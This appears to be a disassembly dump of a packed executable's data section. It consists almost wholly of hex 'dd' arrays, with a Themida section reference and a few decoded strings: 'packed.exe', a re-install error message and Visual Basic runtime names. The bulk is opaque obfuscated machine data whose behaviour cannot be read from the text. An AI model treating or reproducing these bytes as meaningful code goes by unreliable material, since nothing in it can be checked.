29C35242h, 0D0F47D6h, 0D0FF502Ch, 0C7C78B66h dd 15111585h, 6, 0D7FDBB00h, 0B58B7898h, 6150BF1h, 3375B5FFh dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 50F554C3h, 0C4805BF9h, 0C995FF83h, 9061502h dd 1510F59Dh, 0FF006A06h, 152E2195h, 0EBC08B06h, 68875A0Ah dd 0BF0EF22Bh, 0E9D8A596h, 24h, 6F189A5h, 8 dup(0) dd 584E9h, 0E858D600h, 2393160Dh, 0F060DD52h, 3AAA0E25h dd 0F666C45Bh, 9003881Fh, 0FC33C232h, 0B56A0B7Bh, 12EC737h dd 50831282h, 0B692B78Eh, 9859169Dh, 9E0E6DC6h, 864F48ECh dd 0E83A0A7Bh, 0E05139EDh, 0AEC3F363h, 0D141C04Ch, 2EC7E8E5h dd 24128201h, 0FA3CAC0Fh, 1E1888E9h, 13B41B82h, 7EB540B0h dd 63E78EFEh, 2287CA79h, 5AD91086h, 6DD3ACEAh, 0FF7DAE5Ch dd 159A878Fh, 22C811B4h, 0E2B31086h, 58EBF1CDh, 10862331h dd 15FFEBBCh, 0A5072C2Eh, 735A5535h, 0A3E65D7Fh, 0E1108623h dd 477FFF7Ch, 0D1E25E2Bh, 0C7CF839h, 0AD39BA69h, 0C939BF4Bh dd 0F0DFF0CDh, 801F3FC6h, 0DA5B1086h, 8BD356F3h, 905997A8h dd 2D000000h, 5F57C724h, 86F2BFE4h, 933ABB10h, 0E45F7D5Fh dd 1086F2BDh, 93B66F40h, 5A1086F2h, 59396E49h, 0C0A42588h dd 4AFE6B2Ah, 0A8697A8h, 0C4000000h, 0A6680793h, 4E3C1FA5h dd 55C524E6h, 81F15061h, 0FD249FBDh, 801086F2h, 970764AFh dd 825339F3h, 76D69ED7h, 2EDB8F14h, 475C5ACAh, 314274E4h dd 51C143CFh, 4F476865h, 7E6558DFh, 6E842BB2h, 0C38CD570h dd 5E6F1086h, 8AFA7FACh, 0C67D5FEBh, 1086C383h, 80B1596Ah dd 81F17703h, 2461C7AEh, 536056C6h, 81387EEEh, 0A022A518h dd 0A8052E30h, 0EC435238h, 0A171F8Fh, 470D4AABh, 1EABE6CFh dd 5EBEE342h, 7B3D1086h, 865E81C8h, 745B6C10h, 32DD5B5Bh dd 0C86BBE8Bh, 5ED197A8h, 0E5000000h, 6056C624h, 9482F253h dd 0C82A951Ch, 0C410258Fh, 1D990D14h, 1C8B900Bh, 0A465052Ah dd 0F03FD646h, 0FFF42292h, 0AB0D0979h, 0C910B3A9h, 0B41086DAh dd 1D9007E3h, 0A844F12Ch, 4F3797h, 24530000h, 2B8856C6h dd 6D6254C4h, 22A28F7Dh, 960384B2h, 666CB27h, 0BBAFA096h dd 997CEC4Eh, 39C52493h, 724B4BBBh, 6650C041h, 0F5504669h dd 1086F2A9h, 0AA07D5C9h, 0E1DED848h, 86F21D44h, 1BCFE010h dd 7D004974h, 397A81Ah, 1, 0DF624F17h, 5D56276Fh, 999A70E0h dd 0C108BB1Ch, 0AC1086F2h, 0B4AAB49Bh, 86F2C811h, 0B1E2B310h dd 0D8B5E151h, 8CEF0432h, 8EF1421Ch, 0F373962Dh, 29FA1086h dd 0CBAA6406h, 53D4DDFFh, 0F31F42E3h, 0CDDE1086h, 0A74B721Dh dd 0F3CB0EB5h, 0C5B21086h, 0CEBFF767h, 0AD0809E1h, 0E1F6583Dh dd 0D49A7913h, 0F39D4D53h, 784B1343h, 169BA6ACh, 0BDB6E0B1h dd 0F827CE3Eh, 0A80B0B7Bh, 16939763h, 9235A811h, 0DFFDC131h dd 93973D64h, 47FEC016h, 16939702h, 13F7D8E9h, 0BC48AB78h dd 0E9E6D040h, 60E3D0C6h, 4DADC6F0h, 0AC5EBE5h, 9BB4412Dh dd 0CF12B19Bh, 0AE16939Eh, 0A515969Dh, 95058071h, 0D4BDACA1h dd 4B0FFAE9h, 7BF985E6h, 1D320B0Bh, 2C9B426Dh, 567F5FCFh dd 0BB7F8D5Eh, 0B9D5E26Bh, 0BA705C37h, 0C3EE7D6Dh, 9DBD5D36h dd 135BEh, 0BABDA00h, 3D903DBh, 86F21940h, 63E2E410h, 1086F23Eh dd 27C3ECBDh, 9BF67C7Ch, 843F0116h, 1693F65Dh, 62A71E20h dd 91693F6h, 0FE381738h, 7F1686E5h, 0B3E353B0h, 0C9CD3DBEh dd 0AFE757D8h, 0E3D343C2h, 5D8639E0h, 0EDDA05ACh, 0D3771E8Eh dd 0F6173A09h, 0C5D61693h, 1E036625h, 50899DBDh, 9D000000h dd 0DE0EABh, 86F23C45h, 0A8EEBF90h, 0FB6BCDE6h, 0F26DB40Fh dd 0CE909086h, 0A3930365h, 0E6D9C0AAh, 0D141A70Ch, 76C27F39h dd 2C8D86F6h, 0F8CB93BCh, 1086F2F1h, 0E6CAAB7Ch, 96h, 64BFAE4h dd 0E51086F2h, 0F23960E3h, 0F3C41086h, 0AB062EDCh, 0CC3CBF0Bh dd 0DEF161C7h, 0DE00DE00h, 86F22267h, 4DF8C910h, 1086F204h dd 5DDDD6E7h, 36D4A9EDh, 9C062B87h, 55415216h, 4F6FDF5Ch dd 7C6EDE62h, 7D686DF1h, 0D07B50DAh, 0C043F09Ah, 0BDDF6650h dd 4316932Eh, 0BC875A7Bh, 0A0CB0926h, 0CAA01073h, 84E7E0CFh dd 85398114h, 82538955h, 2D25CEBh, 0DCC7A379h, 10B7B238h dd 0B9AAECBDh, 0E9CCCA3Ah, 0FDC18D40h, 0CFE050B1h, 0FF8054EFh dd 0A4751A92h, 0BAB6BD1h, 49AE03DBh, 982B31D9h, 16A236FCh dd 9A0F361Fh, 0E34F5AAEh, 90869707h, 0E5B020A3h, 397DED4Eh dd 6AE195BAh, 31824417h, 0E8961D1h, 5BCB289Fh, 0F7CE90BAh dd 1780E5D2h, 0FB68899h, 1780E5CAh, 90AE0B1h, 2E9E1EAAh dd 9C1C1501h, 697EC434h, 250A31BBh, 27971819h, 3BEAC943h dd 0CD795E94h, 33E7E072h, 9C1F0CFEh, 0D705492Ch, 80FC256Ch dd 54DBC817h, 0F2DDB2E4h, 28981B18h, 0A86EEh, 6FC40000h dd 0A19E9808h, 4B2F51C9h, 5C5ACA24h, 4274E447h, 3363D331h dd 4D49B93Eh, 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h dd 3C7AEA4Fh, 0E0895078h, 430FBD55h, 0CD8136C5h, 515204E9h dd 8108E5C1h, 83482BC5h, 0F0E5814Dh, 8114CD35h, 0C9351CEDh dd 5DE80104h, 8704E883h, 685C2404h, 1D90h, 52240C89h, 0C281E289h dd 4, 4EA81h, 14870000h, 1C895C24h, 44B26824h, 0C8B061Bh dd 4C48324h, 241C8B54h, 4C481h, 0EC830000h, 240C8904h dd 0FF08438Fh, 835B2434h, 0C8B04C4h, 0E0895024h, 405h dd 40500h, 4870000h, 1FE95C24h, 93FFFA34h, 49AAB844h, 0C503061Bh dd 2C5AE0FFh, 0C3C465E3h, 9D9845F9h, 727356D4h, 7CCE57CDh dd 37D44544h, 5F6A7CD7h, 62555C35h, 1D0521B2h, 0EFC704B0h dd 8CA22FD0h, 0EE3121C5h, 3B17278Ah, 0C124A33h, 5778589Bh dd 9332698Fh, 58D71DE5h, 0D530D4Dh, 0A1F30345h, 0DBE92EF5h dd 396D7547h, 9BFB7F01h, 0FCB61446h, 5EC539F6h, 0DCB45647h dd 61B46DD7h, 13E826F1h, 0E3000000h, 34164AF0h, 2285473Ch dd 0DF317A8h, 200594C8h, 0CE81D88Dh, 60698E10h, 99DC8059h dd 647AC181h, 0C8800000h, 81D22B32h, 0C0E58EF0h, 113C8B45h dd 0E1D04BBEh, 34C78142h, 0E8126CACh, 9, 0ED60E2Bh, 891D649Bh dd 28E0F5Ah, 51000000h, 0C781585Bh, 20B6A0F5h, 84D08166h dd 0ECC781B2h, 607E2914h, 0E8C3B70Fh, 0Ah, 9F9BB7D5h, 108B9368h dd 0BB66F4FDh, 615F772Dh, 0F113C89h, 1B85h, 14E95600h dd 47000000h, 23803EBEh, 361C89B7h, 0B882B891h, 908A751Dh dd 5B194A15h, 5B525656h, 0EA835E5Bh, 0E6816604h, 0FA81D8A4h dd 0FFFF9C40h, 0FF73850Fh, 8B66FFFFh, 0CE8C1h, 0CDC00000h dd 0BDFDBB11h, 28764DA6h, 0EE9FED9h, 1F000000h, 0C6C5F8A9h dd 3DE431D1h, 213E4135h, 14E95BBCh, 94000000h, 961A2E02h dd 0B80B6ACAh, 0DC5A87ECh, 0CFF2D273h, 816EA5D4h, 59C3C3h dd 33D48A00h, 1834FFC0h, 8F0Fh, 81590000h, 26BCD9E9h, 0AE921h dd 0D3630000h, 0CBB35CCCh, 86BD9D59h, 5672F181h, 0F181485Bh dd 1DD55A15h, 512CDA80h, 4810Fh, 0BF660000h, 48F4581h dd 12E903h, 7A460000h, 0A36E7519h, 33712E7Bh, 0FC4DFF8h dd 0C35979A0h, 4F03E881h, 0BF0F0208h, 0FFC081FBh, 6602084Eh dd 0F8C1C681h, 0A6F4F881h, 850FFFFFh, 0FFFFFF8Dh, 0E9B7B9BAh dd 17AE944h, 0F16A0000h, 60DD6869h, 3A437C83h, 755F6D5Ch dd 6361706Eh, 72656Bh, 6B636170h, 652E6465h, 6578h, 3Ah dup(0) dd 43330000h, 6F6E6E61h, 69662074h, 2720646Eh, 2E277325h dd 656C5020h, 2C657361h, 2D657220h, 74736E69h, 206C6C61h dd 73696874h, 70706120h, 6163696Ch, 6E6F6974h, 75685400h dd 4D54526Eh, 6E6961h, 62765F5Fh, 72615661h, 4E747354h dd 65h, 7 dup(0) dd 1C7DE9h, 4F816800h, 9BE9061Bh, 68FFFA30h, 61B5080h dd 0FA3091E9h, 519168FFh, 87E9061Bh, 68FFFA30h, 61B5264h dd 0FA307DE9h, 52A368FFh, 73E9061Bh, 68FFFA30h, 61B535Bh dd 0FA3069E9h, 53BF68FFh, 5FE9061Bh, 68FFFA30h, 61B5427h dd 0FA3055E9h, 5C1568FFh, 4BE9061Bh, 68FFFA30h, 61B5C87h dd 0FA3041E9h, 5D2E68FFh, 37E9061Bh, 68FFFA30h, 61B5E4Dh dd 0FA302DE9h, 5EC768FFh, 23E9061Bh, 68FFFA30h, 61B5F7Bh dd 0FA3019E9h, 602B68FFh, 0FE9061Bh, 68FFFA30h, 61B60B5h dd 0FA3005E9h, 670B68FFh, 0FBE9061Bh, 68FFFA2Fh, 61B6823h dd 0FA2FF1E9h, 68B468FFh, 0E7E9061Bh, 90FFFA2Fh, 2FC636h dd 0AF841181h, 0E837DE4Eh, 0A67D1888h, 6A41D444h, 9C0C6E21h dd 55C52AF9h, 0A11173C0h, 6CDC5FD4h, 0B5103E89h, 169DBC6Ch dd 4FAE8E0Fh, 0F293B68Dh, 4DF81086h, 1086F204h, 596AD6E7h dd 930380B1h, 0BD2D8EA3h, 0FE2ED2D8h, 0FB2D65E0h, 0A7B0169Bh dd 0C2612EC2h, 0C8CEE164h, 9372206Dh, 0AA07CD16h, 0C6DBDB4Bh dd 0CFC0F666h, 208F0AE0h, 0BD9DC429h, 2F4C9Dh, 0AB600000h dd 0AE03DB0Bh, 0CAD7DF4Fh, 0D9DAF565h, 0D1AEE858h, 90A02339h dd 0AD169BF5h, 0F21B9A9Ch, 7B1693F1h, 1DA0A914h, 0A39DBD1Dh dd 0C0h, 0E1624F77h, 0B3D66D71h, 3A1086F2h, 33908169h dd 5CDED3C3h, 60E1D2ECh, 321C1AF0h, 24128201h, 1B8BE82Bh dd 0CB48221Bh, 0A5BEF868h, 823FD646h, 1086F617h, 0BEA5AD9h dd 0EF279714h, 0B985B589h, 9C01460Ah, 7F162716h, 87578737h dd 8B8473BCh, 1D21F210h, 2393F23Fh, 0F868CA47h, 34A4061Dh dd 0BED06469h, 117183B1h, 19E9h, 3CD949A5h, 831282E7h dd 14E151ACh, 4C29991Fh, 12E353D7h, 179B1695h, 0DE61CEA7h dd 1C98876Eh, 0D95AC9ACh, 133B8C69h, 9DBD69B0h, 0E9531416h dd 747D864Fh, 0A009053Ch, 81E949CAh, 61E410DEh, 1086EE38h dd 6AE5F2C3h, 9808659Ah, 26FD98B7h, 7CC055C5h, 3DB0BABh dd 9BF5F040h, 7ABC8D16h, 93F1D2FBh, 0C9F49B16h, 0BD1CFD80h dd 15949D9Dh, 0EE9C71A5h, 0DB4Eh, 0CA4B8C00h, 2FEAE109h dd 24B96109h, 525F57C7h, 2F9680F0h, 1086F6A2h, 47B73A77h dd 950566A3h, 990968C9h, 0A6B8A2F1h, 86F7FA1Fh, 19948110h dd 27E486A9h, 4CBC38C4h, 0F1C53363h, 0FDDFFDC1h, 86F70346h dd 31D9EA10h, 9C00CE92h, 16ADAF16h, 1693EAF3h, 0EF86A97Ah dd 71E1466Bh, 0F8A24845h, 7F461848h, 108B81D3h, 1B340F48h dd 0EFFED0D3h, 0B48A9BFBh, 0EA8BFB7Fh, 0B845B535h, 0B1BE949Dh dd 0EABC383Eh, 0A4000018h, 0E43BDA4Ah, 0B3801585h, 1C13E252h dd 0DA492C9Ch, 8E0DE858h, 0B020A21Dh, 79E94EE5h, 0B525879Ch dd 80F053E0h, 49FCE2F5h, 169DA200h, 24122AEBh, 0BBDE65C6h dd 421086F2h, 68B75E71h, 50FA9B0Bh, 4571E163h, 0F2A5EC57h dd 77481086h, 68D85B58h, 81B9512Eh, 5F57C724h, 3590F152h dd 1086F2ECh, 491BE8Fh, 0CD202B6h, 9BF69539h, 77475816h dd 0F6BBDE65h, 71421693h, 0F5189B99h, 821693F6h, 0E94AA817h dd 251A1C8Ch, 21E34645h, 0CB699DBDh, 3D000000h, 0E3935EB2h dd 0A4B1ABB3h, 0C3335FB2h, 7776A1Bh, 6FE25656h, 17FBAA40h dd 56169B30h, 0F50AB945h, 6EE3344Fh, 9AC49ACAh, 0FCAE1699h dd 9DD14D06h, 0FAD3C3ECh, 0B319B510h, 0A4BACC2Ch, 4323F821h dd 0D8B283F0h, 59DFD7E8h, 736975A5h, 432389D0h, 0C7A374F0h dd 0B553CE75h, 192AF65Ah, 1C8CEC45h, 68CBE86Eh, 0F251CB00h dd 103FC866h, 0DD4DAE85h, 0C9F9F40h, 4EB6C0D7h, 17D9h dd 2CC939B5h, 730272F7h, 44D141BCh, 7C1989EFh, 42D343A7h dd 76B2665h, 0CE31FE97h, 0C68B75Eh, 0C92AF99Ch, 430BBC59h dd 9DA35980h, 0D9632416h, 5F57C724h, 410425D9h, 1086F218h dd 0E1FDD2E3h, 690171D0h, 0F6AC70D3h, 4051169Bh, 5EB287B5h dd 7B9E2537h, 21086F2h, 12820231h, 593F2B24h, 0DA6975A5h dd 169BFB76h, 0AF1F9C95h, 0C4F49667h, 6F982BF3h, 0E891BAE7h dd 6FD6E818h, 9BA21F5Fh, 0EBF1CDDEh, 0D5DF3158h, 6BCFBC83h dd 0EDC2BBFBh, 0D5A90FFDh, 360F9CADh, 0D5E54A8Fh, 57603183h dd 0F8D74CC0h, 0FE6ECDE6h, 8E7B4A0Ch, 6B85CC1Ch, 4571E146h dd 35FEA248h, 0C586D427h, 0EBF3DC5Bh, 20F565C6h, 0BD40B013h dd 24803116h, 6CB274Dh, 88000017h, 48D7BE2Eh, 879C79E9h dd 50DFB626h, 3EF580F0h, 0F2A94CBCh, 34A406B9h, 0FD6DD261h dd 39A90B18h, 0F464C75Ch, 1DA8B621h, 169DA0F4h, 2446F677h dd 1DC657C7h, 4ABDEB94h, 16C7C82Ch, 67C70000h, 0B0111EF7h dd 0FF7EB540h, 0B739E68Fh, 181AE47h, 0E4A70491h, 3CD949A9h dd 851080E7h, 37DE4EAEh, 7A1B8BE8h, 9BBE8549h, 62169DA0h dd 0C7249BA1h, 25D95F57h, 0CA5AE9F5h, 0E9169C0Eh, 0FFB6BC8h dd 0B6F79EAFh, 0EA0D4A6Bh, 18897995h, 3B9EA224h, 39651Ch dd 6090306Ah, 0BD63E75Eh, 390A108Eh, 0FA895E65h, 85AEA105h dd 6E83B323h, 0A4999D0Dh, 5B9DF8Bh, 623A09D5h, 0E3BE4F12h dd 0A256E4D2h, 68D96C72h, 0F3B87754h, 0F1421C22h, 0BF6C1E8Eh dd 2168DB3Ch, 63A58651h, 34CE092Fh, 4253CD0Dh, 387EEE51h dd 968D6847h, 15D8A515h, 4608EB5Ch, 160FD430h, 0FF7F0000h dd 0B839E68Fh, 0F776AD48h, 0BF41EE87h, 0F979A64Fh, 0FCAFEC89h dd 44D141C1h, 7D1888EFh, 3FD646A6h, 522393F0h, 0A3E65D81h dd 4A169DA1h, 93B673C9h, 5F1086F2h, 1087023Eh, 87129BC2h dd 0D23E5F10h, 7A5B1086h, 843F5071h, 1086AE5Dh, 77280F20h dd 0EF1CCE14h, 0B8811C8Ch, 0A7BDEAE2h, 15AB258Dh, 63E30000h dd 0AC0D22F3h, 6BCA593Ch, 0A3051AFBh, 6DCD6233h, 88318FDh dd 0D0A51595h, 896CDC63h, 0CBAA1A9Ah, 8E67D754h, 67AA1945h dd 6169DA1h, 624FB785h, 0D66D71E1h, 1086F2B3h, 1781693Ah dd 2A9A1B67h, 39233905h, 86F2478Ah, 0BF1D2610h, 34D72EDCh dd 0FAA9416Eh, 169CA0AEh, 34FF9EAFh, 2FB7D5B2h, 1543BD45h dd 0EB4B0000h, 24859A7Bh, 0F352E1B4h, 0BB3DF283h, 0F575AA4Bh dd 0F0BBF085h, 28CD3DBDh, 710474FBh, 43D242C2h, 761F8FECh dd 9FC2814Dh, 5E169DA6h, 624F9F9Dh, 9A9773E3h, 746DA919h dd 0AC8F87F7h, 42A7A20Dh, 0CA97A81Eh, 26h, 0F297B6DEh dd 6AC91086h, 0AAE959DEh, 1BFAD545h, 0E277F496h, 1D3A0410h dd 5CC86025h, 938169D4h, 14D42Fh, 8D4F0B00h, 86F293B6h dd 44DF810h, 0E71086F2h, 0B1596AD6h, 0A3930380h, 2D316115h dd 9C0B3A96h, 6C724316h, 0EB8ED372h, 406D1693h, 696650C0h dd 85C9A446h, 0EBA5EC57h, 77481693h, 0D591D93h, 4E103FAFh dd 82E54E10h, 7A2B2412h, 1693EB57h, 68B11416h, 131693EBh dd 5E3D2D02h, 108EEEBEh, 3B286E3Fh, 6AB4ABAh, 1CACECC6h dd 4E27971Ah, 44FF60E1h, 1CACEC1Dh, 0B6E0CFE0h, 0CACC3CBDh dd 7057862Fh, 0BF9DA111h, 0ACECDD04h, 42873E1Ch, 291CACECh dd 0F397A818h, 38A00D98h, 0F142A3D2h, 0AF6C2C94h, 4065E5C1h dd 59C9246Fh, 9A8A605Dh, 2E9h, 0AE1EA390h, 624F58BCh, 38296DDDh dd 88624DBDh, 203E6E12h, 9C1F7DA5h, 0E72F0016h, 6E0777FAh dd 0F8D840C1h, 144CF577h, 3D764867h, 62D233BFh, 0AD6F9D4Dh dd 20038DA8h, 836733CEh, 9253F518h, 82AF7F16h, 0B7888EFEh dd 0A690007Ch, 0E7D6C1A9h, 24F161E0h, 0B4FA1D3Ah, 0A41D0169h dd 0FC2CCCC6h dd 227F63E2h, 3CFE1089h, 0ACC24089h, 9A292B1Ch, 1CACC277h dd 2D0A25F6h, 0D9E4F541h, 0BBFBD4FAh, 41D444A6h, 0F62090F2h dd 0ACF1488Fh, 5C83361Ch, 0D4FDC896h, 971CACF1h, 0C327E486h dd 44F4C253h, 87E94A14h, 13361F17h, 1B42B255h, 53F2CCE3h dd 1CAC540Eh, 282EDCEDh, 0B154119Dh, 1303141Ah, 20590C49h dd 18BA8DECh, 0D242C172h, 1F8FEC43h, 31759C17h, 46B02B9h dd 3191A294h, 0C970D5C1h, 0AF5ACD16h, 59ECF200h, 2B93130h dd 585ECE2Eh, 2E8B967h, 674AB211h, 227186B8h, 1686EB28h dd 75002F20h, 0F3CB3BBEh, 671B46E2h, 0A2BCAE25h, 0B949FE23h dd 0BEAC7D02h, 6EDE6350h, 8FCD9128h, 0B949ED34h, 0CBBF9002h dd 6BCEF9E4h, 22871AFBh, 0C4A9E7D5h, 8565E693h, 0F5955A1Eh dd 0A745h, 0C6246100h, 0C72B8856h, 7C6E5F57h, 3392CC92h dd 1086F2EEh, 0B424A08Dh, 0C8A28D82h, 3F77E74Bh, 299E1188h dd 0E9BC59C9h, 97A81E84h, 3AAA0D26h, 72F450h, 24C80000h dd 525F57C7h, 940465F1h, 0D5BC7BBBh, 0EE5EDDEAh, 1E0F9A07h dd 559597A8h, 93000000h, 0B2830BC2h, 37D35A72h, 0B68D4F03h dd 1086F293h, 0F7A1495Ah, 7C471747h, 169BF230h, 0EC5CDED3h dd 8D899AFEh, 0A31372BFh, 0D5F09A73h, 1693F288h, 0ACEA5ADEh dd 0D2C434B7h, 0A935B6FDh, 0E0DDD949h, 0BB6EC7CFh, 0B45BCF14h dd 1DBD4009h, 2439DBDh, 57000001h, 7BE3624Fh, 65DDCACEh dd 67AF80A5h, 0FABEF496h, 2151F4CAh, 0DC169BFEh, 3EBEF3CBh dd 13F7C8CEh, 1DA90819h, 13EC2A9Ah, 2A35223Ch, 71E892Ch dd 4AC811B4h, 0E2B31693h, 0E14E1DCDh, 0ADC6F060h, 1FDADC4Ch dd 5F82411Bh, 1E16934Bh, 8B325D0Dh, 714DBD3Ch, 0A8560564h dd 64C44445h, 0E2CDC2F4h, 0B5386D08h, 3B9DBD6Ah, 85h, 0EB0CAB4Fh dd 0F20F52F1h, 0DDEE1086h, 86F22168h, 0D4FBCC10h, 5DDFD40Ah dd 0AD4A9EDh, 86F2163Bh, 26C4D510h, 86F27277h, 0EE28F990h dd 86F34687h, 0D4FBAA90h, 2595151Eh, 84AC4B45h, 251B969Ah dd 23A2BC2Dh, 9086EAFEh, 0BB83AC7Dh, 0E486F676h, 0EA8EF352h dd 1C2D1086h, 93171C42h, 0AB1AF323h, 1086EA66h, 37563405h dd 577A4913h, 891086EAh, 3304BC2Ch, 1B6B57h, 50610000h dd 960665F1h, 0EA807DB9h, 6BB532h, 0BEF30000h, 0D9CACC3Ch dd 24C6E959h, 59C924F0h, 0C3426F5Dh, 0CA796353h, 1086F287h dd 907A5566h, 0C7AE1EA3h, 5BCB2E83h, 9EFF82AFh, 86F2E227h dd 97B88910h, 249FBD9Fh, 1086F2FDh, 0F262A71Eh, 38091086h dd 0DDD3B788h, 4DA8EE1Eh, 1086F203h, 51F4EAECh, 1086F208h dd 514822F3h, 1A7EEB5Eh, 132097A8h, 79A941B1h, 0B3Fh, 0DD624F8Dh dd 0B654296Dh, 72F541FCh, 143B1402h, 900A0D4Ah, 0FF3E6499h dd 0E4A2210Bh, 7F9A3221h, 19A4A518h, 9F215359h, 62h, 0A818949Dh dd 22C2838Fh, 0AC5E65C7h, 0E010AB88h, 1C4500DEh, 0DF1086F2h dd 0AB1A1CCEh, 1086F266h, 83023405h, 0B9FABFB0h, 3363D332h dd 4D49B93Eh, 7DC03AAh, 97C491A3h, 0E572163Ah, 36A99713h dd 5A7573DCh, 1CD609B0h, 1A79933Bh, 0DBFCBB65h, 0A35AAB53h dd 0EDA842E3h, 411B2880h, 21108h, 10AB2400h, 6E52BCE0h dd 0DF66C724h, 1086F2BAh, 7F5F7041h, 69D9545Dh, 86F295BCh dd 0A3475810h, 0A6AB8F6Fh, 68A82673h, 2DB9h, 10ABCD00h dd 4500DEE0h, 1086F21Ch, 0ED47CC76h, 0E858D84Dh, 4FFF33D7h dd 86F2A8F4h, 407C4D10h, 0C9246B4Fh, 72566359h, 1FB5h dd 10ABD100h, 0F44FBCE0h, 1086F2A8h, 4FCAF2DBh, 311488Dh dd 0C46859BCh, 0C924EE26h, 72566359h, 285328B6h, 56C6240Fh dd 54C42B88h, 3E73D7B6h, 74494DBDh, 0A6169596h, 5ECE2C9Bh dd 7C62E483h, 279080C9h, 0B05A6BEEh, 92F1D609h, 0FF37A706h dd 311E8EF2h, 50B3801Eh, 5080E1E0h, 4C3EABDh, 0F56737A7h dd 90355CE7h, 0E7B8EE27h, 35A50603h, 39A90829h, 0D76A00FDh dd 4C908AE8h, 31EE2790h, 0D7C26160h, 0EC5CDFE8h, 31A12112h dd 0B36D7A05h, 76F4D3FAh, 43C06F06h, 61004ADBh, 614E5157h dd 0AE0F7360h, 7FB72785h, 9CE3269Dh, 0B98AEE27h, 85C9F496h dd 68EE279Ch, 9F168A57h, 1171C230h, 637D96A1h, 1FBF861Ch dd 0CD3DBE6Bh, 13830031h, 44A66F4Eh, 253E78E8h, 525E58C8h dd 57EE04ABh, 0EE27B832h, 0F1C7E8B9h, 0B734933Ah, 99D90A4Fh dd 183768ACh, 0DE4EAD86h, 91F23F03h, 6AC84921h, 648E7FAh dd 0EA5ADBD8h, 2786163Bh, 26C4D5EEh, 83446Bh, 0D8BB5598h dd 8DA2F703h, 0C72449F1h, 90526557h, 2A818BC7h, 246F65D6h dd 6C6155C5h, 0CAB967Eh, 0F23158EBh, 0EBBC1086h, 0AB8FD8C4h dd 0A82673A6h, 3EB968h, 0ABCD0000h, 4FE0DC0Ch, 86F2A8F4h dd 627C4D10h, 7F835C75h, 0C4A609FFh, 0AA864F50h, 9F070BADh dd 526AEC9Eh, 4F64C524h, 87CA7BEBh, 661086F2h, 56427A55h dd 0DD624F72h, 271D7D6Dh, 0F9000000h, 0E0DC0CABh, 0F2A8F44Fh dd 0F2DB1086h, 246B4FCAh, 566755C5h, 8C189F94h, 857ABC2Ch dd 5FD8DAAh, 0A8C20D90h, 0F8B65AC2h, 10108703h, 0FFFD64B4h dd 97B688FFh, 501086F2h, 6EF085B5h, 0A6CFE369h, 0E505D242h dd 0E92AC09Eh, 9B1A1C8Ch, 1086D576h, 9F970768h, 0D5C13192h dd 9E547B32h, 86D5E227h, 97B88910h, 2487ACAEh, 127182B4h dd 0B2DD8DA2h, 0D141BC0Bh, 0D343A40Dh, 0F969CEE3h, 0F55934D6h dd 0C8CE3EBCh, 931613F7h, 0D54E9332h, 1C2D1086h, 0BBF86233h dd 65CAC939h, 0DC9B15F5h, 8F0B6AACh, 6152DD62h, 2C4571E1h dd 0DC595DCDh, 0E545822Dh, 49F05A75h, 0C3825C96h, 52D0899Eh dd 0EF9E4C5Dh, 0D9FE998Ah, 1D612h, 96B62600h, 511086F2h dd 7B617DADh, 0C726B236h, 0B93B7857h, 0F602A149h, 25169C1Fh dd 4F3BAB0Ch, 68B75E6Fh, 88999D0Dh, 647DB929h db 5, 95h word_5DF622 dw 17A1h ; DATA XREF: Themida_:0057ACC0o dd 0F123F67h, 0BB9C0C6Dh, 0C5EA8DBBh, 55364AF9h, 0E6B7108Eh dd 0C0DC4617h, 0AF1321B1h, 0D55h, 0A84DBD39h, 0EF86F67Bh dd 0C055C540h, 0F89D0D73h, 0BE57C72Bh, 8BEFA2E9h, 42A57A1Bh dd 90EC43D2h, 5DDE5520h, 8FBF08EDh, 9DAEED34h, 2D0F9016h dd 5F57C724h, 0E9F525D9h, 0A23FA55Ah, 70F72416h, 231383E4h dd 142A052Ah, 472E9E1Fh, 0A9ED5DD8h, 0CBCB3BB8h, 5569995Dh dd 276FDF5Ch, 23A2B456h, 10874D87h, 8DF88596h, 4EB1BB3Bh dd 0CE3CC28h, 4BAB0000h, 84E53ADBh, 53B28114h, 9B1D12E3h dd 55D54A2Bh, 109B10E5h, 0C8AD1D9Dh, 9164D45Bh, 0E3B222A2h dd 967FEF4Ch, 7FA2212Dh, 0FE169DAEh, 0C724BF7Dh, 25D95F57h dd 0E2F3E9F5h, 4A5118A8h, 2281695Fh, 169B94AAh, 66570C49h dd 262087F6h, 42155E9Ch, 0F44F26E1h, 169346ADh, 0BA507F50h dd 0D3603506h, 1888E470h, 0A8585E37h, 0AA716678h, 0B2ED1174h dd 0E95CE288h, 10B74339h, 0C6EBF3C4h, 111EF767h, 0DD824CB4h dd 670CC823h, 0D6554E48h, 0F6CA3066h, 7D4DF8C6h, 1AACBAh dd 0CDE14E2Fh, 0F8FEABA5h, 0C3C7Ch, 84F45200h, 4FBF42F1h dd 8CFC79A6h, 46B63AE9h, 920280AFh, 0ACE7A403h, 0E837DE4Eh dd 0B17E1787h, 1D12E353h, 7C472E9Eh, 0AFAEF352h, 0CC4D169Dh dd 0B68D4F70h, 1086F293h, 45FB6BCDh, 16959674h, 0ACBF98A6h dd 76F1FB84h, 0CE5CDAB0h, 61E4FA2Ah, 169BBC9Dh, 0B9660F20h dd 0E8F6C838h, 93A2345Dh, 67CAB716h, 0E1CEBFF7h, 38B56A09h dd 0ABFF2DC8h, 0AE03DB0Bh, 3D6EE24Ah, 0C2B758Fh, 4EF54723h dd 169CF1CEh, 1D989EAFh, 1690F1F0h, 9F2687E6h, 1690F17Ah dd 171F3001h, 0FF37A70Ah, 0B92A9504h, 1237A611h, 9DBE1DA7h dd 0F05C0E47h, 83EE38EDh, 0BA3BE7h, 40710000h, 84B852C2h dd 6155C524h, 9581F150h, 6AAC1C9Ch, 0C597F879h, 86F2DBFEh dd 3491A210h, 1086F2EDh, 0AE1EA390h, 97B89768h, 5E7B5CFEh dd 0A8F1541Bh, 531086D0h, 0AECA7542h, 2366DDE1h, 0CA108640h dd 0D7A711F9h, 97C597A7h, 8640E52Ch, 0D3B78810h, 9CA9CCE8h dd 26847116h, 0A08F80B6h, 0D5BB66DDh, 0FB777DB7h, 0B1Dh dd 0D0A51571h, 876EDE63h, 0C8AD1D98h, 9065D55Bh, 0C6AF1FA3h dd 83E7DAD1h, 4AAD8213h, 88E43BDAh, 45A67D18h, 0C79740D5h dd 9DACD5FCh, 65D79816h, 8955C524h, 4250A34Ch, 3093EE2Dh dd 108625E9h, 67AC8394h, 0ACA19505h, 5B11AFBEh, 25000000h dd 6155C524h, 0E7F727D7h, 355CE7F5h, 0B81086F2h, 409803E7h dd 0CD169BFAh, 